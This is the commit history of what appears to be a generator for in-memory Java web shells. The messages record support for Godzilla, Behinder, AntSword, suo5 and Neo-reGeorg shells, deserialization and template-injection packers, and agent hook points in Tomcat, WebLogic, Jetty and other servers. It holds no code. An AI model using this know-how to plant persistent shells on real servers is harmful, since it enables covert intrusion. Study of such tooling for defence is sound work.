ReaJason 49819156ab fix(ui): generate fail 2025-02-28 23:25:28 +08:00
ReaJason 452e057bd1 fix: NeoreGeorg proxy not work 2025-02-28 23:24:31 +08:00
ReaJason dfd6328494 style: format code 2025-02-28 22:44:10 +08:00
ReaJason b78f5dad1c chore: upgrade Gradle 8.13 2025-02-28 22:41:09 +08:00
ReaJason fefe25cbce refactor(ui): separate each component into single file 2025-02-28 22:40:45 +08:00
ReaJason 30a141c8d4 fix: use server shell tool order 2025-02-28 22:40:45 +08:00
ReaJason c95a6da29f refactor: simplify valve shell code 2025-02-28 22:40:45 +08:00
ReaJason 688de30965 test: add SpringBoot1 vul case (resolved #22) 2025-02-28 22:40:45 +08:00
ReaJason b7c6303966 feat: support Neo-reGeorg shell generate (#35) 2025-02-28 22:35:14 +08:00
ReaJason e6d1aeac3c docs: update screenshots 2025-02-27 00:30:01 +08:00
ReaJason 4f58e13c00 docs: update CHANGELOG 2025-02-26 20:47:05 +08:00
ReaJason a47033d051 test: default shrink enabled 2025-02-26 20:47:05 +08:00
ReaJason 0192aa58ea test: war file error 2025-02-26 20:24:59 +08:00
ReaJason 00b807f5f8 feat: support Tomcat Jakarta WebSocket 2025-02-26 20:21:25 +08:00
ReaJason cd189a74f7 build(ui): enahnce cross-platform dx 2025-02-26 20:20:49 +08:00
ReaJason 690cfb833f fix: custom injectorClassName not work 2025-02-26 20:20:03 +08:00
ReaJason 45f2bb148d feat: support bytecode shrink
1. remove source file symbol (#46)
2. remove debug info when enable shrink (#29)
2025-02-26 20:19:30 +08:00
ReaJason e7a14bf2e3 test: test compile error 2025-02-26 20:13:53 +08:00
ReaJason 28fb25781b ci: release body is empty 2025-02-25 01:59:45 +08:00
ReaJason 58f471ca2c docs: update README 2025-02-25 01:41:40 +08:00
ReaJason db87c3f317 test: test order list is important 2025-02-25 01:41:28 +08:00
ReaJason 5635deff23 test: random name hit key words 2025-02-25 00:45:20 +08:00
ReaJason bda018b93f docs: update CHANGELOG 2025-02-25 00:39:24 +08:00
ReaJason 4d36c0bc8f docs: add Dockerfile build steps (resolved #44) 2025-02-25 00:31:08 +08:00
ReaJason ad4a0cf2bf ci: rm useless arg 2025-02-25 00:14:24 +08:00
ReaJason 9c820f9d29 build: build docker image with one Dockerfile (#44) 2025-02-25 00:14:11 +08:00
ReaJason a48442fcab build: optimize copy html script 2025-02-25 00:12:38 +08:00
ReaJason 68791f6c15 chore: update deps 2025-02-25 00:11:37 +08:00
ReaJason 479b2a0c16 fix: tomcat WebSocket shell not work (#25) 2025-02-25 00:11:16 +08:00
ReaJason a148fa1cb9 refactor: move class 2025-02-25 00:09:44 +08:00
ReaJason 116f1034b0 test: fix failed cases 2025-02-23 18:11:49 +08:00
ReaJason db55765fdf chore: update gitignore 2025-02-23 16:58:28 +08:00
ReaJason 8b67d639bd build: support auto download toolchains 2025-02-23 16:53:01 +08:00
ReaJason cead11c781 docs: add local build command 2025-02-23 16:51:22 +08:00
ReaJason 43dc5ca398 build(boot): Dockerfile support BOOT_OPTS env 2025-02-23 16:45:27 +08:00
ReaJason ede78f3efc refactor: supported unified test cases provider 2025-02-23 16:44:35 +08:00
ReaJason 72370a3b84 build(ui): support base_path 2025-02-23 02:33:09 +08:00
ReaJason ad248f0703 fix(ui): version show html when it failed 2025-02-23 02:33:09 +08:00
ReaJason 358f66ff01 feat: support shell registry for all server 2025-02-23 02:33:09 +08:00
ReaJason 76a78f14e0 refactor: simplify valve shell register 2025-02-23 02:33:09 +08:00
ReaJason 33a9008ecb chore: rm debug log 2025-02-23 02:33:09 +08:00
ReaJason b27b40c543 refactor: optimize import 2025-02-23 02:33:09 +08:00
ReaJason 74cc792dc6 test: rm log 2025-02-23 02:33:09 +08:00
ReaJason 348e86079a refactor: move members 2025-02-23 02:33:09 +08:00
ReaJason d4160d9a94 fix: undertow listener failed 2025-02-23 02:33:09 +08:00
ReaJason 19c40e0e2d refactor: rm useless code 2025-02-23 02:33:09 +08:00
ReaJason b49af93bec test: class import error 2025-02-23 02:33:09 +08:00
ReaJason d9e3e03def refactor: simplify memshell generate map register 2025-02-23 02:33:09 +08:00
ReaJason bba2b2d211 ci: set-output command is deprecated 2025-02-23 02:33:09 +08:00
ReaJason 56f0e8001d ci: optimize docker push order 2025-02-23 02:33:09 +08:00
ReaJason 2f80ecb020 ci: change scripts location 2025-02-23 02:33:09 +08:00
ReaJason b3bda20f2c fix(ui): shell type not reset when server changed 2025-02-21 00:32:24 +08:00
ReaJason be5a2089d2 ci: support jar file release 2025-02-21 00:16:48 +08:00
ReaJason 9d2e8125d9 fix: remove log 2025-02-20 23:59:23 +08:00
ReaJason 8964769be8 docs: update CHANGELOG 2025-02-20 23:53:26 +08:00
ReaJason 3acab6e620 feat: add loading component 2025-02-20 23:52:02 +08:00
ReaJason 5148414ca8 fix(ui): shell type not changed when server changed 2025-02-20 23:45:52 +08:00
ReaJason 0b10a55f66 test: change deserialize image name 2025-02-20 23:32:00 +08:00
ReaJason cbf2d02808 docs: update 2025-02-20 23:19:07 +08:00
ReaJason 775fc38abe ci: not run test in tag push [skip ci] 2025-02-20 23:19:07 +08:00
ReaJason 6b3f4a2606 chore: remove redundant dep 2025-02-20 23:13:23 +08:00
ReaJason 52c720572f fix(ui): packResult not changed when regenerate 2025-02-20 22:28:34 +08:00
ReaJason 5e2242665b chore: gradle 8.12.1 2025-02-20 22:28:34 +08:00
ReaJason cdd145d0b2 chore: rm socket dep 2025-02-20 22:28:34 +08:00
ReaJason 18aa8ed60d feat: support hessian packer (#36) 2025-02-20 22:28:34 +08:00
ReaJason 3e40763724 refactor: rename class 2025-02-20 22:04:00 +08:00
ReaJason eda6134262 chore: upgrade testcontainers and junit 2025-02-20 21:56:42 +08:00
ReaJason 9d81160b33 docs: update CHANGELOG 2025-02-19 22:21:17 +08:00
ReaJason 115b57c62e test: deserialize test container startup failed 2025-02-19 22:21:17 +08:00
ReaJason 1b8a845635 feat: enhance responsive layout and improve i18n support (#39) 2025-02-19 22:21:17 +08:00
ReaJason 3ccbd14256 fix: cb110 serializeVersionUID change failed 2025-02-19 22:21:17 +08:00
ReaJason 56510c89db test: add CB4 multi version gadgets integration test 2025-02-19 22:21:17 +08:00
ReaJason 358184f71b test: use annotation to simplify register servlet 2025-02-19 22:21:17 +08:00
ReaJason 6ee9e31aa8 ci: skip png file push 2025-02-19 00:30:01 +08:00
ReaJason 501f7a2d10 docs: update screenshots 2025-02-19 00:25:31 +08:00
ReaJason 8b3c23241a docs: update CHANGELOG 2025-02-19 00:10:04 +08:00
ReaJason 3af560a5e0 docs: add changelog 2025-02-19 00:04:29 +08:00
ReaJason a8d1b5e29a fix: keyword is not allowed for classname 2025-02-19 00:04:29 +08:00
ReaJason 21f9af2f70 test: rm failed case 2025-02-19 00:04:29 +08:00
ReaJason 583abbf9ba feat: support AntSword shell generate (#34) 2025-02-19 00:04:29 +08:00
ReaJason e71f980991 feat: support cb4 other version payload packers 2025-02-19 00:04:29 +08:00
ReaJason d9c3bcb5dd docs: fix typo 2025-02-17 22:39:09 +08:00
ReaJason 61905e35ca docs: change notes location 2025-02-16 00:08:15 +08:00
ReaJason 27f3a7b206 docs: update badges 2025-02-15 23:45:43 +08:00
ReaJason bcb9d23f64 docs: update README 2025-02-15 23:31:52 +08:00
ReaJason d993a54fa9 fix: optimize form fields reset 2025-02-15 14:12:26 +08:00
ReaJason 7eb8baeaf2 docs: update CHANGELOG 2025-02-15 13:50:04 +08:00
ReaJason 591375f522 docs: update README 2025-02-15 13:50:04 +08:00
ReaJason 6436d404d7 ci: test not run in other branck 2025-02-15 13:50:04 +08:00
ReaJason ef487f86d2 build: version not work in IDEA 2025-02-15 13:50:04 +08:00
ReaJason 011f919e2a chore: upgrade to Tailwind CSS v4 2025-02-15 13:50:04 +08:00
ReaJason f8624f0e72 fix: sonner theme not work 2025-02-15 13:50:04 +08:00
ReaJason b287fcd36f feat(ui): support suo5 generate 2025-02-15 13:50:04 +08:00
ReaJason 7fb404f04f feat: support other middleware suo5 shell 2025-02-15 13:50:04 +08:00
ReaJason 45dc276300 feat: support tomcat suo5 shell 2025-02-15 13:50:04 +08:00
ReaJason e811ca56ae docs: update README 2025-02-03 01:46:07 +08:00
ReaJason 58dd08754d ci: parse changelog failed 2025-02-03 01:24:13 +08:00
ReaJason 6145918df7 ci: release body is empty 2025-02-03 01:10:28 +08:00
ReaJason 6671dec9e6 build: boot docker build error 2025-02-03 00:47:12 +08:00
ReaJason f53c0655d4 ci: add needs 2025-02-03 00:35:51 +08:00
ReaJason 1bcecaa151 ci: do not run test in release ci 2025-02-03 00:35:34 +08:00
ReaJason e21b397699 docs: add v1.0.0 changelog 2025-02-03 00:26:50 +08:00
ReaJason cd870594b0 ci: add release ci 2025-02-03 00:26:35 +08:00
ReaJason 067dae90ff feat: add version badge in ui 2025-02-03 00:25:45 +08:00
ReaJason 69b5b5e99f ci: rm coverage 2025-02-02 22:22:40 +08:00
ReaJason 29edaf173a chore: unify project version 2025-02-02 22:20:47 +08:00
ReaJason 4f8ab4d16a ci: auto deploy [skip ci] 2025-02-02 17:40:44 +08:00
ReaJason ee3bab6876 ci: image name error [skip ci] 2025-02-02 15:28:45 +08:00
ReaJason 6523ecd554 ci: syntax error [skip ci] 2025-02-02 15:22:16 +08:00
ReaJason f97c0cd3db ci: fetch depth 0 [skip ci] 2025-02-02 15:18:21 +08:00
ReaJason 7da215bd35 ci: add GitHub container docker push 2025-02-02 15:18:05 +08:00
ReaJason 8171da5df3 refactor: rename packer 2025-01-30 20:49:56 +08:00
ReaJason 92e38ae004 feat: support bsh packer 2025-01-30 18:09:44 +08:00
ReaJason 6113ea717f feat: support rhino and jinjava packer 2025-01-30 17:24:14 +08:00
ReaJason a6cc7705c3 ci: update badge 2025-01-29 14:19:20 +00:00
ReaJason 84b884a3d8 feat: support more expression packer 2025-01-29 22:05:25 +08:00
ReaJason 828b7b8400 refactor: simplify expression packer 2025-01-29 19:58:02 +08:00
ReaJason 786e58cafc feat: support mvel packer 2025-01-29 19:54:17 +08:00
ReaJason 5ce3e67dc4 docs: update screenshots 2025-01-29 11:39:36 +08:00
ReaJason 94e29588bb fix: build error 2025-01-27 17:42:05 +08:00
ReaJason fa1ca573ae ci: update badge 2025-01-27 09:24:30 +00:00
ReaJason 78795f3b95 test: build error 2025-01-27 17:07:18 +08:00
ReaJason 3efe814d30 feat: support multi payload generate 2025-01-27 17:02:32 +08:00
ReaJason 8d7ed8c4ee refactor: shell mount type ordered 2025-01-27 16:24:27 +08:00
ReaJason cc58c2ef87 ci: update badge 2025-01-25 12:47:36 +00:00
ReaJason 4f69497680 refactor: use platform to manage dependency
1. rename Packer.INSTANCE
2. gradle platform is a good thing (resolved #31)
2025-01-25 20:30:08 +08:00
ReaJason c046d466db ci: update badge 2025-01-23 00:34:16 +00:00
ReaJason 9291281a4e refactor: simplify XXLJOB packer 2025-01-23 08:25:44 +08:00
ReaJason 50234947b7 ci: update badge 2025-01-22 11:03:35 +00:00
ReaJason 075ce8c515 test: resin and jetty failed 2025-01-22 18:50:25 +08:00
ReaJason ca4c1d6e4b feat: support xxl-job executor NettyHandler (#30)
Only support jdk8, in jdk11 or jdk17 env, you should use file write and use urlClassLoader to load injectorClass or else.
2025-01-22 18:36:19 +08:00
ReaJason d4067caee5 feat: support jar packer 2025-01-22 18:29:42 +08:00
ReaJason cf65fbb53c feat: support GZIPBase64 packer 2025-01-22 18:29:42 +08:00
ReaJason 962914fa8d fix: build error 2025-01-20 00:39:14 +08:00
ReaJason f90f0f0713 feat: support i18n [skip ci] 2025-01-20 00:34:10 +08:00
ReaJason a64238eea0 docs: update README 2025-01-18 20:25:54 +08:00
ReaJason ce11635876 ci: update badge 2025-01-18 12:24:05 +00:00
ReaJason 1015c55b6d test: npe 2025-01-18 20:14:47 +08:00
ReaJason 8ed16fc818 docs: update screenshots 2025-01-18 20:00:40 +08:00
ReaJason 24a9b563e6 refactor: enhance web ux 2025-01-18 20:00:24 +08:00
ReaJason 8d5af74733 fix: tomcat filter shell not work
tomcat filter shell classname startsWith org.apache.catalina.web.handlers will not work
2025-01-18 19:54:04 +08:00
ReaJason 363d0591dc refactor: rename webflux 2025-01-18 18:28:46 +08:00
ReaJason fe1a443c0d refactor: rename springwebmvc 2025-01-18 18:28:46 +08:00
ReaJason 113b174837 feat: support springwebmvc agent shell
1. hook point is org.springframework.web.servlet.FrameworkServlet.service
2025-01-18 18:28:46 +08:00
ReaJason f42424ba7c ci: update badge 2025-01-09 17:37:27 +00:00
ReaJason 19ecd109fc Revert "fix: GlassFish war deploy failed"
This reverts commit 974cf3ccaa.
2025-01-10 01:28:08 +08:00
ReaJason 9f763906ae docs: update README 2025-01-10 01:15:49 +08:00
ReaJason be91430bd5 feat: support JBossAS contextValve agent shell 2025-01-10 01:15:40 +08:00
ReaJason 5bed6c877d feat: suport bes agent shell 2025-01-10 01:07:34 +08:00
ReaJason 633508ceda feat: support TongWeb agent shell 2025-01-10 00:56:58 +08:00
ReaJason e26cb37805 fix: GlassFish war deploy failed 2025-01-10 00:56:26 +08:00
ReaJason 3efda487e9 feat: support inforsuite agent shell 2025-01-10 00:56:26 +08:00
ReaJason f92d7207c8 feat: support GlassFish agent shell (#23)
1. hook point1 is org.apache.catalina.core.ApplicationFilterChain.doFilter
2. hook point2 is org.apache.catalina.core.StandardContextValve.invoke
3. GlassFish use osgi module, cipher class not in web-core, so that should use ContextClassLoader (resolved #23)
2025-01-10 00:56:26 +08:00
ReaJason 5540016f12 feat: support tomcat context valve agent shell 2025-01-10 00:56:26 +08:00
ReaJason 0402065457 ci: update badge 2025-01-08 17:15:41 +00:00
ReaJason 9fae3847ae docs: update README 2025-01-09 01:06:33 +08:00
ReaJason f4bc254ed3 feat: support jetty agent shell (#19)
1. hook point is org.eclipse.jetty.servlet.ServletHandler.doHandle
2. it doesn't support jetty6, org.mortbay.jetty.servlet.ServletHandler#handle, because ldc visit cannot support java1.4
2025-01-09 01:04:31 +08:00
ReaJason a1d4a6d8fa docs: update README 2025-01-08 00:03:05 +08:00
ReaJason 7afa5d97f6 ci: update badge 2025-01-07 15:39:06 +00:00
ReaJason a6f5ee96d6 feat: support undertow agent shell (#21)
1. hook point is io.undertow.servlet.handlers.ServletInitialHandler.handleFirstRequest, resolved #21
2. fix godzilla payload error in some module system that cost my five hour to debug
2025-01-07 23:26:59 +08:00
ReaJason 1f04701cc1 ci: update badge 2025-01-07 13:27:17 +00:00
ReaJason b272c9739b ci: was7 failed 2025-01-07 21:18:32 +08:00
ReaJason b5903f39fa test: unit test npe 2025-01-07 20:44:05 +08:00
ReaJason 99c53b6287 feat: support resin agnet shell(#20)
hook point is com.caucho.server.dispatch.FilterFilterChain.doFilter (resolved #20)
2025-01-07 20:28:51 +08:00
ReaJason 1dfc28cd33 feat: support jbossas agent shell 2025-01-07 10:02:51 +08:00
ReaJason c44ae3ad4f test: add nettyHandler test 2025-01-07 10:02:51 +08:00
ReaJason b5031012ba feat: use ldc and reflection (#26)
1. remove servlet-api dependency
2. remove class reference (resolved #26), but it doesn't work for java4
2025-01-07 10:02:51 +08:00
ReaJason 5340de9b71 fix: change weblogic agent hook 2025-01-07 10:02:51 +08:00
ReaJason f71657b11c fix: was7 agent shell fail sometime 2025-01-07 10:02:51 +08:00
ReaJason d6612d7630 ci: update badge 2025-01-05 07:54:03 +00:00
ReaJason 858212cd9c docs: update CONTRIBUTING 2025-01-05 15:44:57 +08:00
ReaJason 8e36beaad1 feat: support webflux netty shell (#8) 2025-01-05 15:44:43 +08:00
ReaJason d511a8346f test: add websphere7 integration test (resolved #16) 2025-01-04 23:24:11 +08:00
ReaJason b8116ac0a5 docs: update README 2025-01-04 11:26:41 +08:00
ReaJason 155310a685 ci: update badge 2025-01-04 03:24:26 +00:00
ReaJason a6a1cff2c4 ci: websphere agent test failed 2025-01-04 11:18:03 +08:00
ReaJason 7ae28d5457 fix: build error 2025-01-04 10:51:45 +08:00
ReaJason 8a909971f1 ci: only support manually push 2025-01-04 10:48:57 +08:00
ReaJason 371402c144 feat: support was and weblogic agent shell 2025-01-03 22:05:54 +08:00
ReaJason 2b34b80e40 feat: tomcat agent support jdk6 2025-01-03 02:16:51 +08:00
ReaJason b694073f33 ci: update badge 2025-01-02 17:32:12 +00:00
ReaJason 2f2ef8a774 fix: boot jar dependencies copy error 2025-01-03 01:25:45 +08:00
ReaJason 86734f8485 ci: update badge 2025-01-02 16:50:43 +00:00
ReaJason 393693b89b fix: spring shell generate error 2025-01-03 00:43:03 +08:00
ReaJason 2da2e180cb feat: support tomcat agent shell (resolved #12) 2025-01-03 00:25:56 +08:00
ReaJason 8e741b6647 style(ui): unify font size 2024-12-31 12:07:56 +08:00
ReaJason 717c81571b fix: copyToClipboard button not work 2024-12-31 11:41:08 +08:00
ReaJason 2ec43d97dd ci: add unit test for boot 2024-12-31 01:21:21 +08:00
ReaJason c9a536d2fd fix: boot run failed 2024-12-30 23:20:16 +08:00
ReaJason 74a919c6ec docs: update 2024-12-28 01:11:23 +08:00
ReaJason e123c7485e docs: update README 2024-12-28 01:03:23 +08:00
ReaJason d6d10dead0 ci: update badge 2024-12-27 16:58:31 +00:00
ReaJason 696814fd2c refactor: simplify code 2024-12-28 00:52:28 +08:00
ReaJason 87147d738a feat: support apusic shell generate (#10) 2024-12-27 20:39:09 +08:00
ReaJason c205e69563 docs: update screenshot [skip ci] 2024-12-27 01:02:02 +08:00
ReaJason dddbc15dd8 docs: update README 2024-12-27 00:57:59 +08:00
ReaJason 77ae8c1559 docs: update README 2024-12-27 00:45:54 +08:00
ReaJason 3fe380ef8a ci: update badge 2024-12-26 15:52:46 +00:00
ReaJason a54c307bd5 feat: support tongweb shell generate (resolved #11) 2024-12-26 23:45:58 +08:00
ReaJason 3d14f0113e perf: support bes symbol name 2024-12-26 21:54:18 +08:00
ReaJason b1d449538d refactor: rename [skip ci] 2024-12-26 21:46:21 +08:00
ReaJason 4f1634a843 ci: update badge 2024-12-26 13:40:42 +00:00
ReaJason 8fe2b47805 fix: glassfish7 listener failed 2024-12-26 21:34:26 +08:00
ReaJason c30e99a92c docs: update README 2024-12-26 21:19:51 +08:00
ReaJason 5f4880e72a feat: support bes shell generate (#9) 2024-12-26 21:19:51 +08:00
ReaJason b7326a386b refactor: simplify code 2024-12-26 21:19:51 +08:00
ReaJason 6b9655bb6c docs: update issue templates [skip ci] 2024-12-26 01:12:03 +08:00
ReaJason f9b109d922 ci: update badge 2024-12-25 17:05:07 +00:00
ReaJason ee82fc102d feat: support spring webflux shell generate (resolved #6) 2024-12-26 00:59:24 +08:00
ReaJason cfa4bfdb1d ci: support manually run build ci [skip ci] 2024-12-24 22:55:02 +08:00
ReaJason 889d1d87c7 docs: update README 2024-12-24 22:50:10 +08:00
ReaJason bea468a311 feat: add copy button for className 2024-12-24 22:50:10 +08:00
ReaJason e31d8e751d chore(web): upgrade dependencies 2024-12-24 22:50:10 +08:00
ReaJason 92bda08567 ci: update badge 2024-12-24 13:32:37 +00:00
ReaJason d052177731 test: change vul war location 2024-12-24 21:26:39 +08:00
ReaJason 76dab18099 feat: support weblogic servlet (resolved #5) 2024-12-24 21:09:49 +08:00
ReaJason 6e729d0e35 docs: update README 2024-12-24 02:40:31 +08:00
ReaJason 328939db6a ci: update badge 2024-12-23 18:37:18 +00:00
ReaJason 32c5242c52 ci: add weblogic test 2024-12-24 02:30:14 +08:00
ReaJason c860bbfd87 feat: support inforsuite shell generate 2024-12-24 02:26:30 +08:00
ReaJason b32c9e701e feat: support weblogic filter listener (#5) 2024-12-24 02:09:39 +08:00
ReaJason 41c193074e refactor: rename class 2024-12-24 00:15:12 +08:00
ReaJason eaf6a81c85 fix: behinder response wrapper 2024-12-22 20:49:56 +08:00
ReaJason 22392829e5 docs: update README 2024-12-22 18:15:08 +08:00
ReaJason 65a7fd46e3 ci: update badge 2024-12-22 10:04:25 +00:00
ReaJason 7dd02f4431 fix: boot-ui not behinder select option 2024-12-22 17:58:49 +08:00
ReaJason 54f38e48d2 feat: boot-ui support behinder 2024-12-22 17:37:21 +08:00
ReaJason c232e64b13 ci: update badge 2024-12-22 08:58:01 +00:00
ReaJason 78e9401492 fix: behinder outputStream methodNotFound 2024-12-22 16:51:24 +08:00
ReaJason a5c8058cad test: vul file not found 2024-12-22 16:41:36 +08:00
ReaJason 3189ef8f70 feat: support springmvc shell generate 2024-12-22 16:29:02 +08:00
ReaJason c859655e3a refactor: change vul modules structure 2024-12-22 10:42:48 +08:00
ReaJason 1272ee46b4 docs: update README 2024-12-22 01:35:24 +08:00
ReaJason b83a72a3c8 docs: update README [skip ci] 2024-12-22 01:23:17 +08:00
ReaJason 89e4c796b4 chore: upgrade gradle 8.12 2024-12-22 01:23:03 +08:00
ReaJason ff3c1f2c49 ci: update badge 2024-12-21 16:20:43 +00:00
ReaJason 2dc406df34 test: skip jboss4 behinder test (it does'n work) 2024-12-22 00:15:27 +08:00
ReaJason 6c23a15034 feat: support behinder shell generate 2024-12-22 00:05:01 +08:00
ReaJason 6b81791ff5 ci: update badge 2024-12-21 12:59:02 +00:00
ReaJason 6ba96f5e5a test: speedup glassfish4 container 2024-12-21 20:53:21 +08:00
ReaJason 21df9f8273 feat: support websphere shell generate (#2) 2024-12-21 19:54:31 +08:00
ReaJason 4219f1ba9d ci: update badge 2024-12-21 07:20:57 +00:00
ReaJason 0d69049506 feat: support resin servlet (#2) 2024-12-21 14:51:12 +08:00
ReaJason 385e1e0102 ci: update badge 2024-12-21 06:19:16 +00:00
ReaJason 12fde31663 feat: support undertow servlet (#2) 2024-12-21 14:13:49 +08:00
ReaJason 9f1f4b76aa ci: update badge 2024-12-20 17:30:55 +00:00
ReaJason 4d1291f209 test: glassfish4 use jdk8 2024-12-21 01:25:58 +08:00
ReaJason 43653b2a1b ci: glassfish 3 and 4 not stable 2024-12-21 00:43:13 +08:00
ReaJason 514f13f515 feat: support jetty servlet (#2) 2024-12-21 00:42:53 +08:00
ReaJason ff69716423 fix: jetty filter isInjected not work 2024-12-21 00:42:10 +08:00
ReaJason fc431b9ace ci: build workflow should behind test 2024-12-20 23:39:48 +08:00
ReaJason 944e72f8c5 test: jboss7+ not deserialize failed 2024-12-20 23:39:29 +08:00
ReaJason 7be31dc481 test: unit test symbol not found 2024-12-20 23:31:36 +08:00
ReaJason dfc714862e feat: support tomcat websocket shell 2024-12-20 23:28:30 +08:00
ReaJason c7c4b8be84 refactor: unify code style 2024-12-20 23:26:13 +08:00
ReaJason 75019e9847 docs: update README 2024-12-20 02:34:05 +08:00
ReaJason c6f13dde5e ci: bun run failed 2024-12-20 02:33:37 +08:00
ReaJason fcbec8db19 ci: boot build failed 2024-12-20 01:38:13 +08:00
ReaJason b9f307dd7b ci: update badge 2024-12-19 17:38:04 +00:00
ReaJason a895826bdb fix: file name error 2024-12-20 01:32:11 +08:00
ReaJason 527dad824e ci: build failed 2024-12-20 01:24:31 +08:00
ReaJason 534db31fa0 feat: support boot-ui 2024-12-20 01:15:12 +08:00
ReaJason 2b00c96a06 feat: support tomcat11-jre21 2024-12-20 01:09:34 +08:00
ReaJason 22e3b9ab24 docs: add TG group 2024-12-16 23:38:13 +08:00
ReaJason 901483c1db docs: add CONTRIBUTE.md [skip ci] 2024-12-15 20:14:06 +08:00
ReaJason c9351dcd68 ci: run all integration-test as posible 2024-12-15 20:13:10 +08:00
ReaJasonandReaJason 845fbd5529 feat: add tomcat servlet shell (#2) (#3)
* feat: support tomcat servlet shell

* test: glassfish 3 and 4 not work

* ci: update badge

---------

Co-authored-by: ReaJason <[email protected]>
2024-12-15 16:02:22 +08:00
ReaJason fe2192396a ci: cancel if new push 2024-12-15 09:53:20 +08:00
ReaJason 63c0d89462 refactor: code format 2024-12-15 09:52:09 +08:00
ReaJason 2436c707db Update issue templates [skip ci] 2024-12-15 01:26:30 +08:00
ReaJason c49d3e1909 ci: update badge 2024-12-14 17:17:50 +00:00
ReaJason 7f9276364a test: glassfish 3 and 4 not work 2024-12-15 01:12:20 +08:00
ReaJason 57feb7809c feat: support payara shell generate 2024-12-15 01:03:00 +08:00
ReaJason 6e330bb9c1 ci: update badge 2024-12-14 13:53:00 +00:00
ReaJason 8fcca5b70e test: glassfish3 not started 2024-12-14 21:47:22 +08:00
ReaJason f3b3ca7b2e test: glassfish4 not started 2024-12-14 21:41:17 +08:00
ReaJason 5ec6f6c3cc fix: jboss6 scan overflow with spring 2024-12-14 21:32:57 +08:00
ReaJason 699169d277 fix: tomcat6 jsp LinkageError 2024-12-14 20:40:18 +08:00
ReaJason 6197d66ee8 ci: add resin test 2024-12-14 20:05:21 +08:00
ReaJason 7efbff4a45 fix: unit test error 2024-12-14 20:04:49 +08:00
ReaJason 37e336e088 fix: compile error 2024-12-14 19:54:39 +08:00
ReaJason 65fb0a05df fix: jetty11 jsp not work 2024-12-14 19:52:15 +08:00
ReaJason 6bdc47a7d5 refactor: deserialize 2024-12-14 19:34:06 +08:00
ReaJason 9ed876297a feat: support resin shell generate 2024-12-14 19:33:19 +08:00
ReaJason 74cb677e98 feat: support ssti and expression packer 2024-12-14 19:28:13 +08:00
ReaJason 13ddea499a fix: jsp execute fail in module system 2024-12-14 16:56:53 +08:00
ReaJason 82fddf702f fix: byPassModule not work 2024-12-14 16:26:03 +08:00
ReaJason 8530797a54 ci: update badge 2024-12-12 18:46:39 +00:00
ReaJason 6d12cbba36 fix: glassfish container not run in expected 2024-12-13 02:41:41 +08:00
ReaJason 992aa8a29d fix: glassfish upload error 2024-12-13 02:30:27 +08:00
ReaJason 4ddf8dd3d1 fix: unsupported server 2024-12-13 02:15:44 +08:00
ReaJason 6d7a665ba7 test: rm jetty jsp upload test 2024-12-13 02:10:49 +08:00
ReaJason 15e3af9374 ci: add glassfish test 2024-12-13 01:42:42 +08:00
ReaJason c39075eaae feat: support glassfish shell generate 2024-12-13 01:39:24 +08:00
ReaJason 6c523c55c7 feat: logRemover support Logger.info and warning 2024-12-13 00:37:27 +08:00
ReaJason bb76313410 ci: update badge 2024-12-10 18:03:38 +00:00
ReaJason 1f4a19dd83 fix: server not supported 2024-12-11 01:56:30 +08:00
ReaJason 385de37d56 ci: integration print log 2024-12-11 01:55:14 +08:00
ReaJason 7ddf2c09c4 ci: add wildfly 2024-12-11 01:47:32 +08:00
ReaJason 40c036ab92 style: code format 2024-12-11 01:35:41 +08:00
ReaJason 59b0aeaaca feat: support jboss and undertow 2024-12-11 01:31:20 +08:00
ReaJason 3756197bab ci: update badge 2024-12-10 13:11:57 +00:00
ReaJason 6020e5eaa9 feat: support deserialize packer (but only CB4) 2024-12-10 21:07:41 +08:00
ReaJason 9360408f6d fix: jetty 10 and 11 filter add first failed 2024-12-10 21:05:52 +08:00
ReaJason 0cd08f2a6c ci: dependency error 2024-12-09 23:32:07 +08:00
ReaJason 1ff8fa6128 ci: jacoco execution data not found 2024-12-09 23:30:34 +08:00
ReaJason c07fcc28a4 ci: coverage run failed 2024-12-09 23:06:03 +08:00
ReaJason cfc4c0531f ci: separate unit test and integration test 2024-12-09 22:33:34 +08:00
ReaJason 13cbbdb54f fix: jetty ScriptEngine not work 2024-12-09 21:06:23 +08:00
ReaJason 4feeca1ca8 test: add jetty ScriptEngine test 2024-12-09 21:05:50 +08:00
ReaJason 64f8724903 ci: update badge 2024-12-09 12:32:26 +00:00
ReaJason 4f4384838a test: compile error 2024-12-09 20:29:17 +08:00
ReaJason c72ae586a2 feat: support debug mode 2024-12-09 20:24:58 +08:00
ReaJason d7a40f74b8 fix: tomcat5 valve not work 2024-12-09 01:27:08 +08:00
ReaJason 0e250cac90 ci: update badge 2024-12-08 15:29:18 +00:00
ReaJason 209fc378d0 test: add tomcat5 container 2024-12-08 23:26:32 +08:00
ReaJason d541041f51 ci: update badge 2024-12-08 09:03:10 +00:00
ReaJason 6617d9cc16 ci: add paths-ignore 2024-12-08 17:00:03 +08:00
ReaJason ec42992c8a feat: add boot and webui 2024-12-08 16:59:18 +08:00
ReaJason 3004221fad refactor: extract super class 2024-12-08 16:51:50 +08:00
ReaJason 98b955673b ci: update badge 2024-12-07 12:20:50 +00:00
ReaJason a7cee2ea21 feat: support jetty shell generate 2024-12-07 20:17:40 +08:00
ReaJason b6e6b69339 refactor: simplify ByPassJdkModuleInterceptor 2024-12-07 11:06:45 +08:00
ReaJason cc05dc3934 ci: update badge 2024-12-06 18:17:48 +00:00
ReaJason 61bf9d25bb test: container not auto start 2024-12-07 02:15:15 +08:00
ReaJason ffbe1e454b refactor: separate generate config 2024-12-07 01:49:12 +08:00
ReaJason 85576ab6c7 build: upgrade project JDK 8 to 17 2024-12-05 22:42:02 +08:00
ReaJason 365f4efea0 docs: unify badge style 2024-12-05 22:40:49 +08:00
ReaJason a0d6cbee82 test: use method parameters 2024-12-05 22:40:01 +08:00
ReaJason 421f011974 ci: update badge 2024-12-04 15:21:08 +00:00
ReaJason 0035d1f6a5 fix: godzilla listener check error 2024-12-04 23:19:00 +08:00
ReaJason ba9a7878e0 ci: update badge 2024-12-04 14:43:21 +00:00
ReaJason 75ea80f153 refactor: simplify code 2024-12-04 22:40:58 +08:00
ReaJason 9c5aabb8f0 test: speedup integration test use sharedContainer
refer: https://java.testcontainers.org/test_framework_integration/junit_5/#shared-containers
2024-12-04 21:53:52 +08:00
ReaJason 7887a48fa8 test: fix totalCount calc error 2024-12-04 21:52:07 +08:00
ReaJason c07e1fcf19 fix: same classname inject just once 2024-12-04 21:51:21 +08:00
ReaJason d2036b87f4 ci: update badge 2024-12-03 19:18:05 +00:00
ReaJason b09b671831 test: add more docker compose file 2024-12-04 03:14:08 +08:00
ReaJason d3d3c0186d fix: tomcat9+ filter not work 2024-12-04 03:14:08 +08:00
